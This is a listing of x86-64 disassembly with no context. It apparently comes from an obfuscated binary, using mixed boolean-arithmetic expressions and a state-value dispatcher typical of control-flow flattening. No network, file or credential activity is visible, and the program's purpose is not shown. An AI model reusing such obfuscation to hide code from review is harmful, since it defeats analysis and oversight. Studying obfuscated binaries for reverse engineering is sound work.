mov edx, ebx
xor dl, 1
and dl, al
xor al, 1
and al, bl
mov r15d, r9d
xor r15b, 1
or al, dl
mov ebx, ecx
xor bl, r13b
or cl, r13b
mov edx, r9d
or dl, r15b
xor cl, 1
or cl, bl
xor cl, 1
mov r11d, eax
and r11b, cl
xor cl, al
mov ebx, edx
xor bl, 1
or cl, r11b
mov eax, ebx
and al, dl
mov r11d, eax
and r11b, bl
xor al, bl
or al, r11b
mov ebx, eax
xor bl, 1
and bl, r12b
and al, bpl
or al, bl
mov ebx, edx
and bl, bpl
xor dl, bpl
or dl, bl
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov ebx, ecx
xor bl, 1
and cl, bl
mov eax, edx
xor al, 1
and al, dl
mov r11d, ebx
and r11b, cl
xor cl, bl
or cl, r11b
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
xor al, cl
and r9b, r8b
and r10b, r15b
or r10b, r9b
mov ecx, r8d
and cl, r15b
xor r15b, r8b
or r15b, cl
xor r10b, 1
mov ecx, r10d
xor cl, r15b
or r10b, r15b
xor r10b, 1
or r10b, cl
mov ecx, r10d
xor cl, 1
and r10b, cl
mov edx, ecx
and dl, r10b
xor r10b, cl
or r10b, dl
mov ecx, eax
xor cl, r10b
or r10b, al
xor r10b, 1
or r10b, cl
mov eax, r10d
xor al, cl
xor cl, 1
xor al, 1
or cl, r10b
xor cl, 1
or cl, al
movzx eax, byte [rsp + 0x3b]
mov r8d, eax
xor r8b, 1
mov edx, r8d
or dl, al
mov r10d, eax
xor dl, 1
mov eax, r8d
and al, dl
xor dl, r8b
or dl, al
xor dl, 1
mov r9d, ecx
xor r9b, 1
mov eax, edx
xor al, cl
and al, dl
or dl, r9b
mov ebx, edx
xor bl, al
xor al, 1
xor bl, 1
or al, dl
xor al, 1
or al, bl
xor al, 1
mov edx, eax
and dl, r9b
xor al, r9b
or al, dl
mov r11d, eax
xor r11b, 1
mov edx, ecx
or dl, r9b
mov ebx, edx
xor bl, 1
and bl, cl
or cl, dl
and dl, r9b
or dl, bl
mov ebx, ecx
xor bl, dl
xor dl, 1
xor bl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, r8d
or cl, dl
xor dl, 1
or dl, r10b
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
and r8b, cl
and dl, r10b
or dl, r8b
xor cl, dl
and cl, dl
mov r14d, eax
and r14b, r11b
xor r14b, 1
mov edx, r11d
xor dl, r14b
or r14b, r11b
xor r14b, 1
or r14b, dl
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
xor dl, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, dl
mov r9d, ebx
xor r9b, 1
mov r8d, r14d
xor r8b, 1
or r11b, al
mov eax, r11d
xor al, 1
mov r10d, ebx
xor r10b, r9b
and r10b, bl
mov ecx, r11d
and cl, al
mov edx, r11d
and dl, cl
xor cl, r11b
or cl, dl
mov esi, r8d
and sil, r14b
mov r11d, r8d
xor r11b, sil
xor sil, 1
or sil, r14b
xor sil, 1
or sil, r11b
xor cl, sil
xor cl, 1
mov r11d, r14d
xor r11b, al
or al, r14b
xor al, 1
or al, r11b
mov r11d, ecx
xor r11b, al
or al, cl
xor al, 1
or al, r11b
mov edx, r10d
xor dl, 1
mov ecx, r10d
and cl, dl
mov r11d, ecx
and r11b, r10b
xor cl, r10b
or cl, r11b
or dl, r10b
mov r10d, edx
xor r10b, cl
xor cl, 1
or cl, dl
movzx edi, byte [rsp + 0x39]
mov r15d, edi
xor r15b, 1
xor r10b, 1
xor cl, 1
or cl, r10b
xor cl, al
mov ebp, r9d
and bpl, bl
mov eax, r9d
and al, bpl
xor bpl, r9b
or bpl, al
mov eax, ecx
xor al, 1
xor bpl, sil
xor r8b, r9b
or bl, r14b
xor bl, 1
or bl, r8b
xor bpl, 1
mov edx, ebp
xor dl, bl
or bpl, bl
xor bpl, 1
or bpl, dl
mov edx, ebp
xor dl, 1
and dl, al
or al, bpl
and bpl, cl
or bpl, dl
mov ecx, eax
xor cl, bpl
xor bpl, 1
xor cl, 1
or bpl, al
xor bpl, 1
or bpl, cl
movzx ebx, byte [rsp + 0x48]
mov eax, ebx
movzx r11d, byte [rsp + 0x3c]
xor al, r11b
and al, bl
mov r10d, eax
xor r10b, 1
mov ecx, eax
and cl, r10b
mov edx, ecx
xor dl, 1
xor cl, al
or dl, r10b
xor dl, 1
or dl, cl
or r10b, al
xor r10b, 1
mov eax, edx
and al, r10b
xor r10b, dl
or r10b, al
mov eax, r10d
xor al, 1
and r10b, al
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
mov r9d, r10d
xor r9b, 1
or r15b, dil
movzx ecx, byte [rsp + 0x38]
movzx edi, byte [rsp + 0x3a]
xor dil, cl
and cl, dil
mov r14d, r15d
xor r14b, cl
xor cl, 1
or cl, r15b
xor cl, 1
xor r14b, 1
mov eax, ecx
and al, r14b
xor r14b, cl
or r14b, al
mov r8d, r14d
xor r8b, 1
mov edx, ebx
mov ecx, r11d
and dl, r11b
xor dl, 1
mov eax, r11d
xor al, dl
or dl, r11b
xor dl, 1
or dl, al
xor dl, 1
mov eax, edx
xor al, bl
or dl, bl
xor dl, 1
or dl, al
mov esi, edx
xor sil, 1
movzx r13d, byte [rsp + 0x40]
xor r13b, 1
or r13b, dil
mov r11d, r13d
xor r11b, 1
mov eax, r10d
or al, r9b
mov edi, eax
xor dil, 1
mov r12d, edx
or r12b, sil
xor r12b, dl
mov ebx, r12d
and bl, dl
mov r15d, r12d
xor r15b, bl
mov ecx, r9d
xor cl, al
and cl, r9b
and dil, r10b
and al, r9b
or al, dil
mov edi, ecx
and dil, al
xor al, cl
or al, dil
xor bl, 1
xor r15b, 1
or bl, r12b
xor bl, 1
or bl, r15b
xor al, 1
mov ecx, eax
xor cl, bl
xor cl, 1
and cl, bl
or al, bl
xor cl, 1
mov ebx, ecx
xor bl, al
or cl, al
xor cl, 1
or cl, bl
or sil, r10b
xor dl, r9b
mov eax, esi
xor al, dl
xor dl, 1
xor al, 1
or dl, sil
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and al, dl
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
xor al, cl
xor cl, 1
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, r14d
xor al, r13b
mov edx, r8d
or dl, r11b
xor dl, 1
or dl, al
xor dl, 1
or r13b, r8b
or r11b, r14b
mov eax, r13d
xor al, r11b
or r11b, r13b
xor r11b, 1
or r11b, al
xor r11b, dl
mov eax, r11d
xor al, 1
and al, dl
mov edx, eax
and dl, r11b
xor al, r11b
or al, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ebx, eax
xor bl, 1
mov r11d, eax
or r11b, dl
xor dl, bl
xor dl, 1
xor r11b, 1
or r11b, dl
and bl, al
xor bl, 1
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
mov eax, ecx
xor al, bl
or bl, cl
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and al, r11b
xor r11b, 1
mov ecx, r11d
xor cl, bl
and cl, r11b
and bl, r11b
or bl, al
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, r14d
and al, r9b
and r14b, r10b
and r10b, r8b
or r10b, al
mov eax, r10d
xor al, r9b
and al, r10b
and r8b, r9b
or r14b, r8b
mov ecx, eax
xor cl, 1
mov edx, r14d
xor dl, 1
and r14b, cl
or cl, dl
xor cl, 1
and dl, al
or dl, r14b
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov eax, edx
xor al, 1
or dl, al
xor dl, al
and al, dl
mov ecx, edx
xor cl, al
xor al, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov r9d, ecx
and r9b, al
xor cl, r9b
xor r9b, 1
or r9b, al
xor r9b, 1
or r9b, cl
mov r8d, r9d
xor r8b, 1
mov eax, ebx
xor al, 1
mov ecx, eax
and cl, bl
mov r11d, ebx
xor r11b, al
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov esi, ecx
xor sil, 1
or cl, sil
mov edx, ecx
xor dl, 1
and r11b, bl
mov r10d, r9d
or r10b, r8b
xor r10b, 1
mov eax, r9d
xor al, r10b
mov edi, r11d
xor dil, 1
and dl, cl
mov ebx, r11d
and bl, dil
xor dl, 1
mov r14d, edx
xor r14b, cl
or dl, cl
xor dl, 1
or dl, r14b
mov r14d, ebx
and r14b, r11b
xor bl, r11b
or bl, r14b
xor bl, dl
mov edx, ecx
and dl, dil
xor dil, cl
or dil, dl
xor bl, 1
mov ecx, ebx
xor cl, dil
or bl, dil
xor bl, 1
or bl, cl
mov ecx, eax
xor cl, 1
and al, r10b
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov r10d, eax
xor r10b, bl
and al, r10b
and r10b, bl
mov edx, eax
and dl, r10b
xor r10b, al
or r10b, dl
xor r9b, sil
xor r9b, 1
mov eax, esi
and al, r8b
xor sil, r8b
or sil, al
xor sil, 1
mov eax, r9d
and al, sil
xor sil, r9b
or sil, al
mov eax, esi
xor al, 1
mov edx, eax
and dl, sil
xor al, dl
xor dl, 1
or dl, sil
xor dl, 1
or dl, al
xor dl, 1
mov eax, r10d
xor al, 1
mov ecx, r10d
and cl, al
mov ebx, ecx
and bl, r10b
xor cl, r10b
or cl, bl
xor cl, dl
xor cl, 1
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov ebx, eax
xor bl, cl
and bl, al
mov edx, ebx
xor dl, 1
mov eax, edx
and al, bl
xor dl, bl
or dl, al
mov ebx, edx
xor bl, cl
and dl, cl
or dl, bl
mov ecx, edx
xor cl, 1
mov eax, edx
and al, cl
mov r8d, edx
xor r8b, al
xor al, 1
or al, cl
or cl, bl
xor bl, 1
xor al, 1
or al, r8b
xor al, bl
xor dl, bl
xor cl, 1
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, ecx
xor dl, 1
mov eax, ecx
or al, dl
and cl, al
xor al, 1
mov ebx, eax
xor bl, dl
and bl, al
and al, dl
or al, cl
xor bl, 1
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov r8d, eax
xor r8b, 1
mov edx, r8d
and dl, al
mov ecx, edx
and cl, al
xor al, dl
or cl, al
mov ebx, ecx
xor bl, 1
and bl, cl
xor bl, 1
mov r9d, ecx
xor r9b, bl
or bl, cl
xor bl, 1
or bl, r9b
xor dl, 1
or dl, r8b
xor dl, 1
or dl, al
mov eax, edx
xor al, bl
xor bl, 1
mov ecx, ebx
xor cl, dl
xor al, 1
or bl, dl
xor bl, 1
or bl, al
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, 1
mov r11d, ebp
xor r11b, 1
mov r9d, r11d
or r9b, bpl
mov r10d, r9d
xor r10b, r11b
mov edx, r10d
and dl, r11b
xor r10b, 1
mov ecx, edx
and cl, r10b
xor r10b, dl
or r10b, cl
mov ecx, eax
or cl, bl
mov edx, ecx
xor dl, 1
mov r15d, ecx
and r15b, dl
mov r8d, ecx
and r8b, r15b
xor r15b, cl
or r15b, r8b
mov r8d, r15d
and r8b, bl
xor r15b, 1
and r15b, al
or r15b, r8b
xor cl, al
or dl, bl
xor dl, 1
or dl, cl
xor r15b, 1
mov ecx, r15d
xor cl, dl
or r15b, dl
xor r15b, 1
or r15b, cl
mov r8d, r15d
xor r8b, 1
xor r11b, bpl
xor r9b, 1
or r9b, r11b
mov r11d, r9d
xor r11b, 1
mov edi, r8d
and dil, r15b
xor dil, 1
mov esi, r15d
xor sil, dil
or dil, r15b
mov r13d, r11d
and r13b, r9b
mov ebp, r10d
mov ecx, r13d
and cl, r11b
xor r13b, r11b
or r13b, cl
mov r14d, r13d
xor r13b, 1
and r13b, r10b
mov r12d, r10d
and r12b, r15b
mov ecx, r15d
xor cl, r10b
and r15b, cl
and cl, r10b
xor r10b, 1
xor dil, 1
or dil, sil
mov esi, edi
xor sil, 1
and bl, al
xor al, bl
and al, bl
and r9b, r10b
and bpl, r11b
or bpl, r9b
xor bpl, 1
or bpl, r10b
mov edx, ebp
xor dl, 1
and r14b, r10b
or r13b, r14b
mov r9d, r13d
xor r9b, 1
and r13b, bpl
or bpl, r9b
xor bpl, 1
and r9b, dl
or r9b, r13b
mov edx, ebp
and dl, r9b
xor r9b, bpl
or r9b, dl
mov r14d, eax
xor r14b, 1
mov r13d, esi
or r13b, dil
mov r11d, r13d
xor r11b, 1
mov ebp, eax
or bpl, r14b
mov edx, edi
xor dl, r13b
and dl, dil
and r11b, sil
and r13b, dil
or r13b, r11b
mov r11d, edx
and r11b, r13b
xor r13b, dl
or r13b, r11b
mov ebx, r14d
and bl, al
mov r11d, ebx
and r11b, r14b
mov edx, ebx
xor dl, r14b
or dl, r11b
mov r11d, edx
and dl, bpl
xor bpl, 1
xor r11b, 1
and r11b, bpl
or dl, r11b
mov r11d, r14d
xor r11b, bpl
or bpl, r14b
xor bpl, 1
or bpl, r11b
xor bpl, 1
mov r11d, edx
and r11b, bpl
xor bpl, dl
or bpl, r11b
mov edx, ebp
xor dl, 1
and dl, bpl
mov r11d, edx
and r11b, bpl
xor dl, bpl
mov ebp, r13d
xor bpl, 1
or dl, r11b
and bpl, dl
xor dl, 1
and dl, r13b
or dl, bpl
mov r11d, eax
and r11b, bl
xor bl, al
mov ebp, esi
and bpl, al
xor al, sil
and sil, dil
xor sil, 1
mov r14d, edi
xor r14b, sil
or sil, dil
xor sil, 1
or sil, r14b
or bl, r11b
mov r11d, esi
xor r11b, 1
and r11b, bl
xor bl, 1
and bl, sil
or bl, r11b
or al, bpl
xor al, 1
mov r11d, ebx
and r11b, al
xor al, bl
or al, r11b
xor al, dl
mov ebx, eax
xor bl, 1
and al, dl
mov edx, eax
and dl, bl
xor al, bl
or al, dl
mov r11d, r9d
xor r11b, 1
mov ebx, r11d
and bl, r9b
mov edx, r11d
and dl, bl
xor bl, r11b
or bl, dl
mov edx, eax
xor dl, 1
xor r11b, al
or al, bl
xor bl, dl
xor bl, 1
xor al, 1
or al, bl
xor al, 1
or dl, r9b
xor dl, 1
or dl, r11b
xor dl, al
mov ebx, edx
xor bl, 1
and dl, al
mov eax, edx
and al, bl
xor dl, bl
or dl, al
and r8b, r10b
or r12b, r8b
xor r10b, r12b
and r10b, r12b
mov eax, r15d
and al, cl
xor cl, r15b
or cl, al
mov eax, r10d
xor al, 1
mov ebx, ecx
xor bl, 1
and cl, al
or al, bl
and bl, r10b
or bl, cl
xor bl, 1
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov r8d, ebx
xor r8b, 1
mov eax, r8d
or al, bl
mov ecx, eax
xor cl, 1
and bl, al
or al, r8b
xor al, 1
and cl, r8b
or cl, bl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov r9d, ecx
xor r9b, 1
or r9b, cl
xor r9b, 1
or r9b, cl
mov r8d, r9d
xor r8b, 1
mov ebx, edx
xor bl, 1
mov eax, ebx
or al, dl
mov r10d, eax
xor r10b, 1
mov r11d, r9d
xor r11b, r8b
and r11b, r9b
mov ecx, r9d
or cl, r8b
mov esi, edx
or sil, al
and r10b, dl
and al, bl
or al, r10b
mov r10d, esi
xor r10b, al
xor al, 1
or al, sil
mov esi, ecx
xor sil, 1
xor r10b, 1
xor al, 1
or al, r10b
mov r10d, r11d
xor r10b, cl
and r10b, r11b
and cl, r11b
xor r11b, 1
and r11b, sil
or cl, r11b
mov r11d, r10d
xor r11b, 1
xor r10b, cl
xor cl, 1
or cl, r11b
xor cl, 1
or cl, r10b
xor cl, 1
mov r10d, ecx
or r10b, al
xor r10b, 1
xor cl, al
xor cl, 1
and cl, al
mov eax, r10d
and al, cl
xor cl, r10b
or cl, al
and r9b, dl
or dl, r8b
and bl, r8b
xor dl, 1
or bl, r9b
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, ebx
xor al, 1
mov edx, ecx
xor dl, bl
and dl, cl
and bl, cl
xor cl, 1
and cl, al
or bl, cl
mov eax, ebx
xor al, dl
test bl, 1
mov ecx, 0x7b18c0fc
mov ebp, 0x9eab6854
cmovne ecx, ebp
test dl, 1
mov edx, 0x7b18c0fc
cmove ecx, edx
test al, 1
cmovne ecx, ebp
cmp ecx, 0xdb67d41
jg 0x1400015a0
jmp 0x1400014ec
cmp ecx, 0x6edac19d
jle 0x14000d5fe
cmp ecx, 0x6edac19e
je 0x140020d22
cmp ecx, 0x7b18c0fc
je 0x14001499f
cmp ecx, 0x7e06b36f
jne 0x1400014e0
mov eax, dword [0x1400c5670]
lea r11d, [rax - 1]
imul r11d, eax
mov r14d, r11d
not r14d
mov r8d, r14d
and r8d, 0x2480b200
mov r13d, r11d
xor r13d, 0xacf0bb60
and r13d, r11d
mov edx, r11d
and edx, 0x46b12038
mov r15d, r14d
and r15d, 0xb94edfc7
or r15d, edx
xor r15d, 0xb94edfc7
or r15d, r14d
mov edx, r14d
and edx, 0xeab1f50b
mov ebp, r11d
and ebp, 0x154e0af4
or ebp, edx
mov edi, ebp
xor edi, 0x5440824
xor ebp, 0x8291d102
mov ebx, r14d
or ebx, 0x929bd3d2
or ebp, 1
and ebp, 0x929bd3d3
and edi, 0x6d642c2c
or edi, ebp
and ebx, 0x929bd3d3
xor ebx, edi
mov edx, ebx
not edx
and edx, 0x2b40e960
and ebx, 0xd4bf169f
or ebx, edx
xor ebx, 0xd4bf169f
mov r9d, ebx
and r9d, r14d
xor ebx, r14d
mov r10d, r14d
mov edi, r11d
mov r12d, r14d
or r14d, r11d
and r11d, 0x88700960
or r11d, r8d
xor r11d, 0x88700960
mov ebp, r11d
and ebp, r13d
xor r13d, r11d
or r13d, ebp
mov ecx, r13d
not ecx
and ecx, 0x530f449f
and r13d, 0xacf0bb60
or r13d, ecx
mov ecx, r13d
not ecx
and ecx, 0xbb143987
and r13d, 0x44ebc678
or r13d, ecx
mov ecx, r13d
xor ecx, 0x44ebc678
mov esi, r13d
xor esi, 0xbb143987
mov ebp, r15d
not ebp
and ebp, 0xe196182e
and r15d, 0x1e69e7d1
or r15d, ebp
mov ebp, r15d
xor ebp, 0x1e69e7d1
mov edx, r15d
xor edx, 0xe196182e
xor r13d, 0x57710586
and r13d, esi
xor r15d, 0xf20cdbd0
mov esi, r15d
and esi, edx
mov eax, ecx
and eax, edx
xor edx, ecx
and ecx, 0xec653c01
and r15d, ebp
mov ebp, ecx
and ebp, r13d
xor r13d, ecx
or r13d, ebp
mov ecx, esi
not ecx
mov ebp, ecx
and ebp, 0x9875dd18
and esi, 0x678a22e7
or esi, ebp
mov ebp, r15d
not ebp
or ecx, ebp
and ebp, 0x9875dd18
and r15d, 0x678a22e7
or r15d, ebp
mov r8d, dword [0x1400c566c]
xor r15d, esi
not ecx
or ecx, r15d
mov ebp, r13d
not ebp
and ebp, ecx
not ecx
and ecx, r13d
or ecx, ebp
or edx, eax
mov eax, edx
not eax
and eax, 0xac115965
and edx, 0x53eea69a
or edx, eax
mov ebp, edx
xor ebp, 0x5142029a
xor edx, 0xac115965
mov eax, ecx
not eax
mov esi, eax
and esi, 0xaebcbc44
and ecx, 0x514343bb
or ecx, esi
or eax, edx
and edx, 0xaebcbc44
and ebp, 0x514343bb
or ebp, edx
xor ebp, ecx
not eax
or eax, ebp
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0x254dbf78
and edx, eax
or eax, 0xdab24087
mov ebp, edx
not ebp
mov esi, eax
and esi, 0x6ef5b41b
and ecx, 0x1080b60
or ecx, esi
or eax, ebp
and ebp, 0x6ef5b41b
and edx, 0x910a4be4
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xdab24087
and eax, 0x254dbf78
or eax, ecx
mov ecx, eax
xor ecx, 0xfffffffe
and ecx, eax
not eax
and eax, 0xfffffffe
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 1
and eax, 0xfffffffe
or eax, edx
not eax
or eax, ecx
mov r15d, eax
not r15d
or ebx, r9d
mov ebp, ebx
not ebp
mov edx, ebx
and edx, 0x22d72243
mov r9d, ebx
mov ecx, ebp
xor ebx, 0xc0d51187
and ebx, ebp
and ebp, 0xdd28ddbc
or ebp, edx
mov r11d, eax
and r11d, 0x87c9f6e8
mov edx, r15d
and edx, 0x78360917
or edx, r11d
mov esi, ebp
xor esi, 0x58200914
xor ebp, 0x2c12240
and ebp, 0x87c9f6e8
and esi, 0x78360917
or esi, ebp
xor esi, edx
mov r11d, esi
xor r11d, eax
and r11d, esi
and eax, 0x808cc58
mov ebp, r15d
and ebp, 0x37222220
or ebp, eax
xor ebp, 0x37222220
and r15d, 0xc0d51187
or r15d, ebp
and r9d, 0x628a048
and ecx, 0x39024e30
or ecx, r9d
mov eax, ecx
xor eax, 0x1004810
xor ecx, 0xc6fdb1cf
mov ebp, ebx
not ebp
mov esi, ecx
and esi, 0xb8ae36a5
and eax, 0x700c858
or eax, esi
or ecx, ebp
and ebp, 0xb8ae36a5
and ebx, 0x4751c95a
or ebx, ebp
xor ebx, eax
not ecx
or ecx, ebx
mov eax, r15d
not eax
and eax, ecx
not ecx
and ecx, r15d
or ecx, eax
mov edx, r11d
not edx
mov ebp, ecx
not ebp
mov r15d, edx
or r15d, ebp
mov eax, r15d
not eax
and edx, 0x99f121e
and r11d, 0xf660ede1
or r11d, edx
and ebp, 0x99f121e
and ecx, 0xf660ede1
or ecx, ebp
xor ecx, r11d
mov edx, ecx
not edx
mov ebx, r15d
and ebx, 0x2cc9daa0
and eax, 0xd336255f
or eax, ebx
or r15d, edx
and edx, 0x2cc9daa0
and ecx, 0xd336255f
or ecx, edx
xor ecx, eax
not r15d
or r15d, ecx
and r10d, 0x4d0056c2
and edi, 0xb2ffa93d
or edi, r10d
mov eax, edi
xor eax, 0x30912000
xor edi, 0x4000080
or r12d, 0x3499b2a8
mov ecx, r12d
not ecx
or edi, 0x81640045
and edi, 0x856c80ed
and eax, 0x30913200
or eax, edi
and r12d, 0x856c80ed
and ecx, 0x4a024d12
or ecx, r12d
xor ecx, eax
mov eax, ecx
not eax
and eax, 0x18c2d07c
and ecx, 0xe73d2f83
or ecx, eax
mov ebp, ecx
xor ebp, 0xd3a49d2b
xor ecx, 0x4092244
mov edx, r14d
not edx
and ecx, 0x16892a4c
mov eax, ebp
and eax, 0xe976d5b3
or eax, ecx
mov ecx, eax
xor ecx, 0xe976d5b3
mov ebx, r14d
and ebx, 0x2bef0727
xor r14d, 0xf2271ee1
and r14d, edx
and edx, 0xd410f8d8
or edx, ebx
xor edx, 0xd410f8d8
xor eax, 0x1b51cb52
and eax, ecx
and ebp, 0xf2271ee1
mov ebx, edx
and ebx, 0xdd8e11e
mov edi, eax
and edi, ebp
xor ebp, eax
or ebp, edi
mov eax, ebx
and eax, r14d
xor r14d, ebx
or r14d, eax
mov eax, ebp
not eax
and eax, r14d
not r14d
and r14d, ebp
or r14d, eax
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
not eax
mov edi, r14d
not edi
mov ecx, edi
and ecx, 0x9f243f17
and r14d, 0x60dbc0e8
or r14d, ecx
or edi, edx
and edx, 0x9f243f17
and eax, 0x60dbc0e8
or eax, edx
xor eax, r14d
not edi
or edi, eax
mov r10d, r15d
not r10d
mov ebx, r15d
xor ebx, 0x32a18e86
and ebx, r15d
mov edx, edi
not edx
mov r9d, edx
mov ecx, edi
and edx, 0x416794f7
and edi, 0xbe986b08
or edi, edx
mov edx, edi
xor edx, 0xa8084908
xor edi, 0x404314e2
and edi, 0x56d336e2
and edx, 0xa92cc91d
or edx, edi
mov ebp, edx
xor ebp, 0xa1048014
mov eax, r10d
and eax, 0x4e78796b
mov esi, r15d
and esi, 0xb1878694
or esi, eax
xor edx, 0x46503062
and edx, 0x4e78796b
and ebp, 0xb1878694
or ebp, edx
xor ebp, esi
mov edi, ebp
xor edi, r10d
and r15d, r10d
mov r11d, r10d
and r11d, r15d
xor r15d, r10d
and r10d, 0x32a18e86
mov eax, r10d
and eax, ebx
xor ebx, r10d
or ebx, eax
mov eax, ebx
not eax
and eax, 0xd9826adc
and ebx, 0x267d9523
or ebx, eax
and r9d, 0x1c6c056f
and ecx, 0xe393fa90
or ecx, r9d
xor ecx, 0xe393fa90
xor ebx, 0xeb23e45a
mov eax, ecx
and eax, ebx
xor ebx, ecx
or ebx, eax
mov eax, ebx
not eax
and edi, ebp
mov edx, ebx
and edx, 0x99ec2017
xor ebx, 0x8035c0a3
and ebx, eax
and eax, 0x6613dfe8
or eax, edx
mov r9d, eax
xor r9d, 0x6613dfe8
mov edx, edi
not edx
xor eax, 0xe6261f4b
and eax, r9d
mov ebp, edi
xor ebp, 0x7fca3f5c
and ebp, edx
and edi, 0x8035c0a3
mov esi, eax
not esi
mov ecx, ebx
not ecx
mov r10d, esi
and r10d, 0xf3b4acb0
and eax, 0xc4b534f
or eax, r10d
or esi, ecx
and ecx, 0xf3b4acb0
and ebx, 0xc4b534f
or ebx, ecx
xor ebx, eax
not esi
or esi, ebx
mov eax, ebp
and eax, edi
xor edi, ebp
or edi, eax
mov eax, esi
not eax
and eax, edi
not edi
and edi, esi
or edi, eax
mov eax, r9d
and eax, edx
xor edx, r9d
or edx, eax
mov eax, edx
not eax
and eax, 0xffe3655a
and edx, 0x1c9aa5
or edx, eax
xor edx, 0x1c9aa5
mov eax, edi
and eax, edx
xor edx, edi
or edx, eax
mov eax, edx
not eax
or edx, 0xe0730234
mov ecx, edx
not ecx
or eax, 0x1f8cfdcb
mov ebp, eax
not ebp
and edx, 0x21d589e2
and ecx, 0x1e087409
or ecx, edx
and eax, 0x21d589e2
and ebp, 0xc0220214
or ebp, eax
xor ebp, ecx
mov eax, ebp
not eax
and eax, 0x929a9553
and ebp, 0x6d656aac
or ebp, eax
mov edx, ebp
xor edx, 0x30c01062
or r15d, r11d
xor ebp, 0x8d166898
mov eax, ebp
and eax, 0x4e29ef8d
and edx, 0xb1d61072
or edx, eax
mov r9d, edx
xor r9d, 0xb1d61072
mov ebx, r15d
xor ebx, 0x57616ef1
mov edi, ebx
and ebx, r15d
mov eax, r15d
not eax
xor edx, 0x46216e81
or edx, 0xa89e910e
mov esi, edx
not esi
or ebp, 0x57616ef1
mov ecx, ebp
not ecx
and edi, eax
and edx, 0x335571d4
and esi, 0x44200e21
or esi, edx
and ebp, 0x335571d4
and ecx, 0x888a800a
or ecx, ebp
xor ecx, esi
mov edx, edi
not edx
mov ebp, ebx
not ebp
mov esi, edx
and esi, 0xf5611f1d
and edi, 0xa9ee0e2
or edi, esi
or edx, ebp
and ebp, 0xf5611f1d
and ebx, 0xa9ee0e2
or ebx, ebp
xor ebx, edi
not edx
or edx, ebx
mov ebp, ecx
not ebp
and ebp, edx
not edx
and edx, ecx
or edx, ebp
mov ecx, r9d
and ecx, eax
xor eax, r9d
or eax, ecx
mov ecx, eax
not ecx
mov ebp, edx
not ebp
mov ebx, ebp
and ebx, 0xb78e3753
and edx, 0x4871c8ac
or edx, ebx
or ebp, eax
and eax, 0xb78e3753
and ecx, 0x4871c8ac
or ecx, eax
xor ecx, edx
not ebp
or ebp, ecx
mov eax, ebp
not eax
and eax, 0x1afeb0b3
and ebp, 0xe5014f4c
or ebp, eax
mov eax, ebp
xor eax, 0x85004944
xor ebp, 0x12ee2022
and ebp, 0x72ef262a
and eax, 0x8d10d9d5
or eax, ebp
mov ecx, eax
xor ecx, 0x52c40002
xor eax, 0x8010c1c1
and ecx, 0x5fc41816
and eax, 0xa03be7e9
or eax, ecx
xor eax, 0x5fc41816
cmp eax, 0xffffffff
sete sil
setne r11b
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg r8b
mov edx, r8d
xor dl, r9b
mov eax, edx
xor al, 1
mov ebx, eax
or bl, dl
mov ecx, ebx
not cl
mov r10d, eax
and r10b, bl
or bl, dl
and cl, dl
or cl, r10b
xor cl, 1
mov r10d, ebx
xor r10b, cl
or cl, bl
xor cl, 1
or cl, r10b
mov ebx, ecx
xor bl, 1
and cl, bl
mov r10d, ebx
and r10b, cl
xor cl, bl
or cl, r10b
xor cl, r9b
mov ebx, ecx
xor bl, 1
and dl, r8b
or r8b, al
xor r8b, 1
and al, r9b
or al, dl
mov edx, r8d
and dl, al
xor al, r8b
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov r8d, edx
and r8b, al
xor al, dl
or al, r8b
mov r12d, eax
xor r12b, 1
and al, bl
or bl, r12b
xor bl, 1
and r12b, cl
or r12b, al
mov eax, ebx
and al, r12b
xor r12b, bl
or r12b, al
mov eax, r12d
xor al, 1
mov ecx, r12d
or cl, al
mov byte [rsp + 0x3c], cl
xor cl, al
mov edx, ecx
xor dl, 1
and cl, al
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
mov ebx, ecx
xor bl, 1
mov r8d, eax
and r8b, r12b
mov edx, eax
and dl, r8b
xor al, r8b
or dl, al
mov r15d, ecx
and r15b, bl
xor dl, 1
mov r9d, edx
mov byte [rsp + 0x48], dl
xor r15b, 1
mov edx, ebx
xor dl, r15b
or r15b, bl
